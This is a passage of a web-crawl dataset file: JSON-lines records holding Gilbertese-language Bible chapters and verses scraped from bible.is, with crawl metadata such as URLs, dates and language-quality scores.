2","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/2Thess\/2","date":"2014-03-10T17:38:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394010916587\/warc\/CC-MAIN-20140305091516-00017-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":520,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.481,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Bwa uean te Atua ai aron te aomata ae atuun te mwenga teuana. E nako teuarei ngke e a tibwa ingabong n anaia aomata ake a na mwakuri ni nnen arokana te kureebe. 2Ao ngke e a tia ni booraraoi ma taani mwakuri bwa e na kabooiia n tatabeua te tenari n tebongina, ao e kanakoia nakoni nnen arokana te kureebe. 3Ao e a manga nako naba teuarei n te aoa ruaiwa, ao e nooriia aomata tabemwaang bwa a teitei n aoriia n te tabo ni mwaakete; 4ao e taku nako ia, Kam na nako naba nakoni nnen te kureebe, ao N na kabooingkami n ae e riai. 5Ma ngaia are a nako. Ao e a manga nako naba teuarei ngke e a tawanou, ao n te aoa tenua n te tanimaeaontaai, ao e a manga katootoonga naba arona are rimoa. 6E a manga nako naba ngke e a kaani bo te aoa nimaua, ao e a manga nooriia aomata tabemwaang bwa a teitei; ao e titirakiniia ni kaangai, Kam aera ngkai kam aoringkami n teitei ma ngke e ingabong ni karokoa ngkai? 7A taku nakoina, Bwa akea ae e kamwakurira. E taku nako ia, Kam na nako naba nakoni nnen te kureebe. 8Ngke e a tairiki, ao e taku teuare ana bwai te nne n aroka nakon aia mataniwi taani mwakuri, Ko na weteiia taani mwakuri, ao anganiia nako boon aia mwakuri: anganiia moa ake a roko rimoa. 9Ao ngke a roko uaake a kamwakuraki n te aoa nimaua, ao a katoaaki n anganaki tatabeua te tenari. 10Ao ngke a roko uaake a moani kamwakuraki, ao a taku n aia iango bwa a na karekea ae e mwaiti riki; ma a katoaaki n anganaki naba kakateuana te tenari. 11Ngke e reke irouia booia, ao a ngurengure iroun teuare e kamwakuriia, 12ao a taku, A mwakuri uaaka a roko rimwi i nanon ti teuana te aoa, ao ko kabooiia ni kabooraoiia ma ngaira, aika ti uota rawaawatan te mwakuri i nanon te bong ae e bwanin i aani korakorani kabuebuen te riringa. 13Ao ngaia, e kaeka temanna irouia, ni kaangai, Raou, I aki karaoa ae e bure nakoim; tiaki ko booraraoi ma ngai ibukin teuana te tenari? 14Anaa boom ao naako; I kan angan ae e rimwi ni kabooraoia ma ngkoe. 15Tiaki bwa iai irou te inaomata ni karaoa ae I tangiria ma au bwai? E aera bwa ko na moanoku ngkai iai irou te nano n akoi? 16Ane a na riki n rimoa aika rimwi, ao a na riki n rimwi aika rimoa. 17Ngke E mwananga Iesu nako Ierutarem, ao E kaokoroiia ana reirei ake tengauni ma uoman, ao E taku nakoia ngke a tabe n nakonako, 18Noria, ae ti a nako Ierutarem, ao ane E na kamwaneaki Natin te Aomata nakoia ibonga ake mataniwi ma taani koroboki, ao ane a na motika taekana nakon te kamateaki; 19ao a na anga Ngaia nakoia ianena ake a na bwainingareia, a na kataerea, ao a na kamatea n te kaibangaki; ma E na manga maiu n te katenibong. 20Ao ngkanne e roko buun Tebetaio ma natina mwaane iroun Iesu, ao e katorobubua ni bobaraaki i matana ni karinea, ao e butiia Iesu n te aro n anainano. 21Ao E taku Iesu nakoina, Tera ae ko tangiria? E taku neierei nakoina, Ko na tua bwa a na tekateka natiu aika uoman aikai, temanna i angaataim, ao temanna i angamaingim, ngkana Ko a taua nakoam n uea. 22Ma E kaeka Iesu ni kaangai, Kam aki ataa te bwai ane kam buubuti ibukina. Kam konaa ni mooi ni mwangkon te karawaawataaki ae N nangi nimma? A taku nakoina, Ti konaa. 23E taku nako ia, Kam na boni mooi n au mwangko, ma tiaki au bwai te anganingkami te konaa n tekateka i angaataiu ao i angamaingiu; e ti katauaki i bukiia te koraki ake E a tia Tamau ni katauraoia i bukiia. 24Ngke a ongo aei reirei ake tengaun, ao a un irouia Iakobo ma Ioane. 25Ma E weteiia Iesu, ao E taku nako ia, Kam ataia bwa te koraki ake a katauaki bwa taan tau-taeka i aoia ianena, bon iai mwaakaia i aoia, ao aia aomata ake a kakannato, a kaboonganai mwaakaia i aoia. 26E na aki riki aei i buakomi; ma ane e kani kakannato i buakomi, ao e riai n riki bwa ami tabonibai, 27ao ane e kan riki bwa te nambwauan, ao ke e riki bwa ami toro: 28bwa aron Natin te Aomata ngkae E aki roko bwa E na tautoronaki te aba irouna, ma E roko bwa E na toro irouia aomata, ao bwa E na anga maiuna bwa bwaini aki bukinaki aomata aika a bati. 29Ngke a kiitana Ieriko Iesu ma ana reirei, ao a iraki irouia aomata aika a rangi ni mwaiti. 30Ao nooria, iai uoman te mataki aika a tekateka i rarikin te kawai; ngke a ongo bwa E ri rarikiia Iesu, ao a takaarua ni kaangai, Ko na nanoangaira, Natin Tawita. 31Ao a takuaki irouia aomata, ao a tuangaki bwa a na aki karongoaa; ma a kanenei riki bwanaaia n takaarua ni kaangai, Te Uea ae Natin Tawita, Ko na nanoangaira. 32Ao E tei Iesu, ao E weteiia, ao E taku, Tera ae kam tangirai iai bwa N na karaoia i bukimi? 33A taku nakoina, Te Uea, ti tangiriko bwa Ko na angani matara te konaa n nooraaba. 34E nanoangaiia Iesu, ma ngaia are E riingi mataia ao a nooraaba naba; ao a iria.\nMATAIO 20","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Matt\/20","date":"2014-03-12T02:00:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394020986799\/warc\/CC-MAIN-20140305120306-00098-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":910,"character_repetition_ratio":0.051,"word_repetition_ratio":0.007,"special_characters_ratio":0.237,"stopwords_ratio":0.442,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1E kaangai ngkanne au titiraki, E kaaki taekaia ana bootanaomata te Atua? E bon aki! Bon te Iteraera naba ngai, ae kanoan Aberaam, ae kaain te baronga are Beniamin. 2E aki kaaki taekaia ana bootanaomata te Atua ake E a tia n rineiia ma ngkoa. Kam aki ataa rongorongon Eria n te Baibara, ngke e kabuaakakaia Iteraera nakon te Atua? Bwa e kaangai: 3Te Uea, a kamateia am buraabeti, ao a urui am baonikarea; ao ti ngai te nikira, ao a ukoukorai bwa a na anaa maiu. 4Ma e kangaa ana taeka te Atua nakoina? E kaangai: Iai au aomata aika itinga aika I katikuia, aika a aki taromauriia Bwaara. 5Ao ai arona naba, bwa ibukin ana aakoi te Atua ao a a tiku ngkai nikiraia ake E a tia n rineiia; 6ao ngkana tiaki ibukin ana aakoi ae e riki iai aei, ma ibukin te bwai are a karaoia ana aomata, ao nanona ngkanne bwa akea koauan ana akoi. 7Ao tera ngkanne ae riki? Bwa te baere a ukoukoria Iteraera e aki reke irouia ni kabaneia, ma ti irouia ake a rineaki; ao nikiraia a kamatoatoaaki nanoia; 8n ai aron are e koreaki ni kaangai: E anganiia te Atua ana namakin te taamnei ae e mate, maata aika a aki nooraaba, ao taninga aika a aki ongo, ni karokoa te bong aei. 9E taku Tawita, Ke e riki aia bootaki bwa te bwai ni kamwaamwane, ma te bwai ni kabwakabwaka; Ke e riki bwa booni mwiin aia mwakuri. 10Ke a karooaki mataia, bwa a aonga n aki nooaaba, Ao kabwaouai nuukaia i aani uotaia n taai nako. 11E kaangai ngkanne au titiraki, A bwaka n aki konaa ni manga tei rake ngke a reke waeia ao a tatanako? A bon aki! Ma e roko te maiu irouia ake tiaki I-Iutaia ngke a bure Iteraera, bwa a aonga ni kabakantangaki. 12Ma ngkana a bati n reke kabwaiaia aomata nako i aonnaba ibukin aia bure Iteraera, ao a bati n reke kabwaiaia aomata aika tiaki I-Iutaia ibukin aroia Iteraera n tibanako ma nanon te Atua, ao ai bati ra riki te kabwaia ae e na reke irouia ngkana a bane kaain te botanaomata ae Iteraera n rin i nanon te kamaiuaki! 13I taetae nakoimi ngkami aika tiaki I-Iutaia; bwa ngkai aia tia tuatua aomata aika tiaki I-Iutaia ngai, ao N na taua nakoau aei bwa te bwai ae e rangi ni kakaawaki irou, 14bwa a aonga ni bakantang kaain au bootanaomata; ao n te aro anne a konaa iai ni kamaiuaki tabemwaang i buakoia iroun te Atua n au mwakuri. 15Bwa ngkana e riki kaakan taekaia bwa aroia aomata nako n riki bwa raraon te Atua, ao tera ngkanne aroia ngkana a manga butimwaaeaki? Kaanga ai aroia maate ake a manga maiu. 16Ngkana e katabuaki mwakoron te kariki bwa ana bwai te Atua, ao are nikirana bon ana bwai naba; ao ngkana e katabuaki wakan te kai bwa ana bwai te Atua, ao bon ana bwai naba mwaangana. 17Ngkami aika tiaki I-Iutaia, ti te bo ngkami ma mwaangan te kai te oriwa are e riki n aki akaka, aika mwaangana ake a katomaaki ni kamaiuaki ma mwaangan te oriwa are e unikaki raoi, aika mwaangana ake a tia n oteaki. Kam a tia n onei mwiini mwaanga tabeua ake a tia ni koreaki maiai; ao ibukin aromi aei, ao kam a bwaina te kabwaia are e reke man rikimi bwa mwaangan te kai are e unikaki raoi. 18Ma ngaia ae tai taku bwa kam raoiroi riki nakoni mwaanga ake a koreaki ni kaakaki. Ma ngkana e reke aei iroumi, ao uringnga bwa tiaki ngkami aika kam kamaiua te waka, bwa te wakaa ae e kamaiungkami. 19Ane ko na kaangai ngkanne, A oteaki mwaangana bwa ti aonga n onei mwiia. 20E koaua ane e ko taku; a oteaki ibukin aia aki-onimaki, ma ngkoe, ko mena ni nnem ane e ko mena iai ibukin am onimaki. Ma ngaia ae tai bwaina te kainikatonga, ma ko na bwaina te mamaaku; 21bwa ngke E kaaki mwaanga ake boni mwaanga ni koaua te Atua, ao ko taku bwa E na aki konaa ni karaoia naba nakoim? 22Ko noora ngkanne aron ana atataiaomata te Atua ao arona ni matoatoa: E matoatoa nakoia ake a tia ni bwaka, ma E atataiaomata nakoimi, ngkana kam teimatoa n onimakina arona nakoimi. Ma ngkana kam aki, ao ane kam na koreaki ni kaakaki. 23Ao te koraki ake mwaanga ake a oteaki ni kaakaki, ngkana a toki man aroia n aki onimaki, ao a konaa ni manga kaokaki nakon aroia are rimoa; bwa E konaa te Atua ni karaoia. 24Bwa ngke ko koreaki man te oriwa are e riki n aki akaka, ao ko katomaaki nakon te oriwa are e unikaki raoi, e ngae ngke bon tiaki mwaangana ngkoe, ao ai beebete ra riki aroia ni katomaaki mwaanga ake boni mwaangan te oriwa are e unikaki raoi, ngkana a kaokaki nakon aroia ake rimoa? 25Bwa I aki tangiringkami, taari, bwa kam na aki ataa te bwai ae e raba aei, bwa kam kaawa ni bakanrabakau iai: bwa iai temwaangina i buakoia Iteraera aika a matoatoa nanoia n rawa n onimaki, ao a na tiku n aroia aei ni karokoa ae e koro mwaitiia aomata aika tiaki I-Iutaia n nako n te Atua; 26ao n te aro aei, ao a na kamaiuaki kaain te bootanaomata ae Iteraera ni kabaneia, n ai aron are e koreaki ni kaangai: Ane E na nako mai Tion te Tia Kamaiu; E na kaaki te buaakaka mai irouia ana kariki Ia koba: 27Aio au booraraoi ma ngaiia, ngkana I kabwaraa aia bure. 28I bukina ngke a rawa I-Iutaia ni butimwaaea taekan te euangkerio, ao a riki bwa ana kairiribai te Atua i bukimi, ngkami aika tiaki I-Iutaia. Ma ngkai a teimatoa aroia bwa aomata ngaiia aika a rineaki iroun te Atua, ao E bon tangiriia i bukiia aia bakatibu ake a kakannato. 29Bwa E aki konaa te Atua ni kaoki bwaai ake E a tia n anga, ao E aki konaa ni mwaninga taekaia aomata ake E a tia n rineiia. 30Bwa kam a tia ngkami aika tiaki I-Iutaia n aki ongeaaba nakon te Atua ngkoa; ma ngkai, kam a nanoangaaki ibukin aia aki-ongeaaba I-Iutaia. 31Ao ai arona naba nakoia I-Iutaia: bwa a aki ongeaaba ngkai, ma ane a na nanoangaaki naba n ai aromi. 32Bwa E a tia te Atua ni kabaeiia aomata nako i aan te aro n aki-ongeaaba, bwa E aonga ni kaota ana nanoanga nakoia ni kabaneia. 33Ai bati ra kaubwain te Atua, ao ai nano ra rabakauna ma ana atatai! Ai kaangaanga ra ataakin ana moti, ao ai kaangaanga ra kuneakin arona! 34Bwa antai ae e ataa ana iango te Uea? Ao antai ae e anganna taeka n ibuobuoki? 35Antai ae e anganna te bwai teuana bwa E aonga ni manga kaoka nakoina boona? 36Bwa mai iroun te Atua bwaai ni kabane; a bane ni karikaki ibukina, ao a na bane ni manga oki nakoina. Ana bwai te neboaki n aki toki. Amene.\nROM 11","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/11","date":"2014-03-13T13:36:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678676855\/warc\/CC-MAIN-20140313024436-00022-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1171,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.415,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"15bwa kam aonga n aki bukintaeka ngkana iai te kaairua ae e riki, ao bwa kam aonga n itiaki man te aro ae e buaakaka, ngkai natin te Atua ngkami aika akea te kaairua iroumi i buakon te roro ae e bwaoua ae e buaakaka; aika kam oota i buakoia bwa kaanga itoi i aon te aba,\nBIRIBI 2:15\nFREE!\nOne App.\n1348 Languages.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Phil\/2\/15","date":"2014-03-08T23:01:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999665917\/warc\/CC-MAIN-20140305060745-00026-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":62,"character_repetition_ratio":0.099,"word_repetition_ratio":0.0,"special_characters_ratio":0.256,"stopwords_ratio":0.435,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma ngaia ae kam na kakairi iroun te Atua, n ai aroia ataei aika a tangiraki; 2ao kam na bwaina te maiu n tangira, n ai aroni Kristo ngkae E tangiriira naba, ao E anga Ngaia bwa E na mate i bukira bwa te karea nakon te Atua, ae te karea ae e boiarara ae e kamateaki. 3Ma ngkai aomata aika a itiaki ngkami, ao e aki riai bwa e na taekinaki bwa iai te wene ni bure, ma te kammaira nako, ma te mataai ni kani bwaibwai i buakomi; 4ao e aki riai bwa kam na atongi taeka aika a aki tau aika taeka aika a kamwaraa, ma taeka ni winikamwaraane aika a aki riai; ma kam riai n taetae ni kaaitau. 5Bwa kam bon ataa aei, bwa akea te aomata ae te tia wene ni bure, ma te tia kammaira, ma te tia mataai ni kanibwaibwai ae te tia taromauri bouananti, ae e na karekea ueani Kristo ma te Atua. 6E na tai mwaamwanaaingkami temanna n taeka aika akea boonganaia: bwa e roko unin te Atua ibukini baikai i aoia aomata aika a aki ongeaaba nakoina. 7Ma ngaia ae kam na tai reitaki ma ngaiia. 8Bwa kaanga te roo ngkami ngkoa, ma ngkai ai kaanga te oota, ngkai kam a onimakina te Uea. Kam na nakonako n ai aroia natin te oota; 9bwa uaan te oota, te atataiaomata ni kabanea, ma te raoiroi, ma te koaua, 10ao kataa te kakukureia te Atua. 11Tai buokanibwai n ana mwakuri te roo aika akea uaaia, ma kam na kaoti aroia; 12bwa e kamaamaa bwa a na taekinaki baika a karabai ni karaoi aomata. 13Bwa bwaai ni kabane ngkana a kaotaki n te oota ao a oota raoi aroia ni koaua; 14bwa bwaai ni kabane aika a kaotaki a riki bwa te oota. Ao aei bukin are e atongaki ni kaangai: Ko na uti, ngkoe ae ko matuu, ao tei rake mai buakoia maate, ao ee na kaootako Kristo. 15Ma ngaia ae kam na taratarai aromi ni maiumi: kam na aki maiu n ai aroia akana a aki ataibwai, ma kam na maiu n ai aroia akana a ataibwai. 16Kam na kaboonganaa te tai ane e konaa n reke iroumi ibukini karaoan ae e raoiroi, bwa a buaakaka aomata ni boong aikai. 17Ma ngaia ae kam na tai baba, ma kam na ataa ae e tangiraki iroun te Uea bwa e na karaoaki. 18Kam na tai manging, bwa ngaia ae e na urua arom, ma kam na kaonaki n te Taamnei. 19Kam na i taetae temanna nakon temanna, n taekan Taian Areru, ma anene ma kuuna aika kam kairaki iai iroun te Taamnei; anenei ma nanomi taian anene ma taekan Taian Areru nakon te Uea; 20ao kam na aki toki ni katituaraoa te Atua are te Tama n aran ara Uea are Iesu Kristo, ibukini bwaai ni kabane; 21ao kam na aan-taeka, temanna iroun temanna, bwa kaotani karineani Kristo iroumi. 22Ainenumwa, kam na aan-taeka irouia bumi, n ai aromi n aan-taeka iroun te Uea: 23bwa iai mwaakan te mwaane i aon te aine, n ai aron naba Kristo ngkai iai mwaakana i aon te ekaretia; ao Kristo boni Ngaia ana Tia Kamaiu te ekaretia, are bon rabwatana. 24Ma aron te ekaretia ngkae e aan-taeka irouni Kristo, ao ai aroia naba ainenumwa bwa a na aan-taeka irouia oini buia ni bwaai ni kabane. 25Mwaanenumwa, kam na tangiriia bumi, n ai aron naba Kristo ngkae E tangira te ekaretia, ao E anga Ngaia bwa E na mate ibukina. 26E karaoa aei bwa E na katabua te ekaretia ibukin te Atua n ana taeka, n tebokia ni kaitiakia n te ran, 27bwa e aonga n riki nakoina bwa te ekaretia ae e rangi n tamaaroa, ae akea baarekana ke tikibuakana, ke te aro riki teuana ae e na taraa-buaka iai, bwa e aonga n itiaki ma n akea buaakakana. 28E riai naba bwa a na tangiri'ia buia mwaane n ai aroia n tangiri oin rabwataia. Ane e tangira buuna ao e tangira oin rabwatana. 29Bwa bon akea te aomata ae e ribaa rabwatana, ma e tararuaia ni karekei baika e kainnanoi, ao e akoia, n ai aron naba Kristo ngkae E aakoa te ekaretia, 30n aron ae ti ataia ngkai kaain te ekaretia ngaira. 31N aron are e koreaki n te Baibara, ni kaangai: I bukin aei, ao e na kiitana tamana ma tinana te aomata, ao e na nim ma buuna, ao a na riki bwa ti te irikona naka uoman. 32Bon iai te koaua ae e kakannato ae e raba i nanon te taeka aei, ma I taku bwa e taekinaki iai Kristo ma te ekaretia. 33Ma bon taekami naba ni tatabemaningkami: e na tangira buuna te mwaane n ai arona n tangira oin rabwatana; ao e na karinea buuna te aine.\nEBETO 5","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Eph\/5","date":"2014-03-09T17:43:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394009968414\/warc\/CC-MAIN-20140305085928-00088-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":800,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.453,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"RUKA 11:3434Matam, kaanga ai aron te taura ibukin rabwatam; ngkana e raoiroi matam, ao e buta rabwatam ni kabanea n te oota; ma ngkana e aki raoiroi, ao e buta rabwatam ni kabanea n te roo. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/11\/34","date":"2014-03-09T02:18:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999670669\/warc\/CC-MAIN-20140305060750-00007-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000060797,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.000006079673767}","num_words":51,"character_repetition_ratio":0.112,"word_repetition_ratio":0.0,"special_characters_ratio":0.248,"stopwords_ratio":0.294,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"RUKA 11:3636Ngkana arona ngkanne bwa e buta rabwatam ni kabane n te oota n akea maiai ae e roo, ao e na tabwanin raoi ootana, n ai aron uran te taura ae e anganiko ootana. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/11\/36","date":"2014-03-07T19:38:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999650477\/warc\/CC-MAIN-20140305060730-00009-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000035763,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000035762786865}","num_words":50,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.3,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao ngai, taari, ngke I roko iroumi n taekina te baere e raba are mai iroun te Atua, ao I aki kamanenaai taeka aika N na atongaki iai bwa iai irouu te rabakau n taetae ma te ataibwai. 2Bwa e reke nanou ngke I mena i buakomi bwa akea riki te bae N na taekinna bwa ti Iesu Kristo—te Kristo are e mate n te kaibangaki. 3Ma ngaia are ngke I roko iroumi, ao I mamaara ma n rurubenebene ni maaku. 4Ngke I taetae ma ngkami, ao ngke I taekina te euangkerio, ao I aki kani kaotai bwaa aongkoa I rabakau n taetae;ma I angan Taamnein te Atua bwa E na kaota mwaakana; 5ao n te aro anne, ao e a reke iroumi iai te onimaki ni mwaakan te Atua, ma tiaki n rabakaun te aomata. 6Ma ti kaboonganaa te taeka n rabakau i buakoia aomata aika a ikawai n aia onimaki; ma tiaki rabakaun aon te aba ke rabakauia taan tau-taeka i aonnaba, aika te koraki aika a nangi mauna mataia. 7Ti taekina rabakaun te Atua ae akea temanna ae e ataa arona, are te rabakau ae e raba, are E a tia ni motika taekana te Atua, i mwaain rikin aonnaba, bwa E na karekea iai arora n neboaki. 8Akea irouia taan tau-taeka n te aonnaba aei ae e ataa te rabakau aei. Bwa ngke a ataia, ao a na bon aki kamatea n te kaibangaki te Uea, are ana bwai te neboaki. 9Ma e a tia taekana n ai aron are e koreaki ni kaangai: Baike e tuai n noori te mata, ao e tuai n ongo te taninga, ao e tuai n reke n ana iango te aomata, boni ngaai baike E katauraoi te Atua i bukiia ake a tangiria! 10E a tia ni kaotii te Atua nako ira iroun Taamneina. Bwa akea te bwai teuana ae E aki ataa arona te Taamnei, ao E atai naba ana kaantaninga te Atua aika a nano. 11Bwa antai i buakoia aomata ae e ataa te aomata n arona ni kabane? Bon ti taamnein te aomata ae i nanona. Ao ai arona naba, bwa akea ae e ataa aron te Atua ni kabane bwa bon ti Taamnein te Atua. 12Ao ngaira ti aki anganaki te tamnei ae bwain aon te aba, ma ti anganaki te Taamnei are mai iroun te Atua, bwa ti na atai ana bwai n tituaraoi te Atua nako ira. 13Ma ngaia ae ti na aki kaboonganai taeka aika ti karekei man te rabakau n aomata ngkana ti taetae, ma ti na kaboonganai taeka aika ti reireiaki iai iroun te Taamnei ngkana ti kabwarabwarai ana koaua te Atua nakoia ake iai Taamnein te Atua irouia. 14Te aomata ae akea Taamnein te Atua irouna e aki konaa ni butimwaai bwaai ake ana bwai Taamnein te 332,1 I-KORINTO 2 Atua, bwa e taku n ana iango bwa bwaai n nanobaba; ao e aki konaa n atai aroia ma bukiia ibukina bwa akea Taamnein te Atua irouna. 15Ane E meemena irouna Taamnein te Atua, ao e konaa neneri aroni bwaai nako bwa a boongana ke a aki; ma akea ae e konaa n nenera arona; 16n aron are e koreaki ni kaangai: Bwa antai ae e ataa nanon te Uea, bwa e na reireia? Ma bon iai iroura i nanoni Kristo.\n1 KORINTO 2","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/2","date":"2014-03-09T00:24:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999668738\/warc\/CC-MAIN-20140305060748-00071-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":551,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.486,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"MAREKO 13:1414Ngkana kam noora te Baere E Kakamaaku bwa e tei n te tabo are e riai n aki mena iai, (ke e ataia ane e wareware) ao akana mena i Iutaia, ke a biri nako ni maunga; Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Mark\/13\/14","date":"2014-03-15T03:34:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678695683\/warc\/CC-MAIN-20140313024455-00013-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":0.999777019,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 0.9997770190238953}","num_words":53,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.264,"stopwords_ratio":0.321,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"EBERA 3:1515Bwa e kaangai te Baibara: Ngkana kam ongo bwanaan te Atua n te bong aei, Ao kam na tai kamatoatoai nanomi, n ai aroia te koraki ake a rawa ngkoa ni kani kairaki. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/3\/15","date":"2014-03-14T03:25:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678683789\/warc\/CC-MAIN-20140313024443-00017-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":0.9999649525,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 0.9999649524688721}","num_words":49,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.245,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"10Bon te bwai ae e riai iroun te Atua, are Ngaia ae e kariki bwaai ma ni kateimatoai aroia, bwa E na karaoa Iesu bwa E na bobonga raoi arona n te maraki, bwa a aonga natin te Atua aika a bati ni buokanibwai ma Iesu ni mimitongin te Atua. Bwa Iesu boni Ngaia ae e kairiia nakon te kamaiuaki.\nEBERA 2:10\nFREE!\nOne App.\n1348 Languages.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/2\/10","date":"2014-03-09T16:31:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394009871907\/warc\/CC-MAIN-20140305085751-00021-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":65,"character_repetition_ratio":0.043,"word_repetition_ratio":0.0,"special_characters_ratio":0.253,"stopwords_ratio":0.462,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngke ti a maiu bwa ti a roko n te aba, ao ti a ataa te abamwakoro arei bwa ngaia Merita arana. 2E rangi ni moamoa aroia n aakoinakoira kaain te aba arei: bwa a kauraa te ai ao a butimwaaira n akoira, ibukina ngke e kakarau ao e kamariri. 3Ngke e anai boota n aia Bwauro ni kabwakai i nanon te ai, ao e oti nako te naeta mai buakon aia akekei ibukin te kabuebue, ao e nimta baini Bwauro. 4Ngke a noora te naeta n tinetine ni baini Bwauro, ao a i taetae irouia kaain te tabo arei, ni kaangai, Bon te koaua bwa te tia tiritiri te aomata aei: bwa e ngae ngke e reke maiuna mai tari, ma e aki kariaia antin te kaeti-taeka bwa e na maiu. 5E ioa nako te man arei Bwauro mai baina nako nanon te ai, ao akea marakina i mwiina. 6A kaantaninga Bwauro te koraki arei bwa e na tibu ke e na bwaka ni mate n te tai naba arei; ma ngke a maan ni kakaantaninga ao a nooria bwa akea te rekenikainakoina, ao a bita nanoia n taku bwa te anti ngaia. 7E kaan te tabo are a mena iai Bwauro ma raona, ma abani mataniwiin te abamwakoro arei, ae Boberio arana; e butimwaaira ao e karaoi mwakuri n aakoi aika ti na kakukureiaki iai i nanon teni bong. 8I nanon ara tai n tiku ikai, ao e wene tamani Boberio, bwa e taonaki n te aoraki ae te kabuebue ae e rooroko ni korakora, ma te bekararaa. E rin ni kawaria Bwauro, ao e 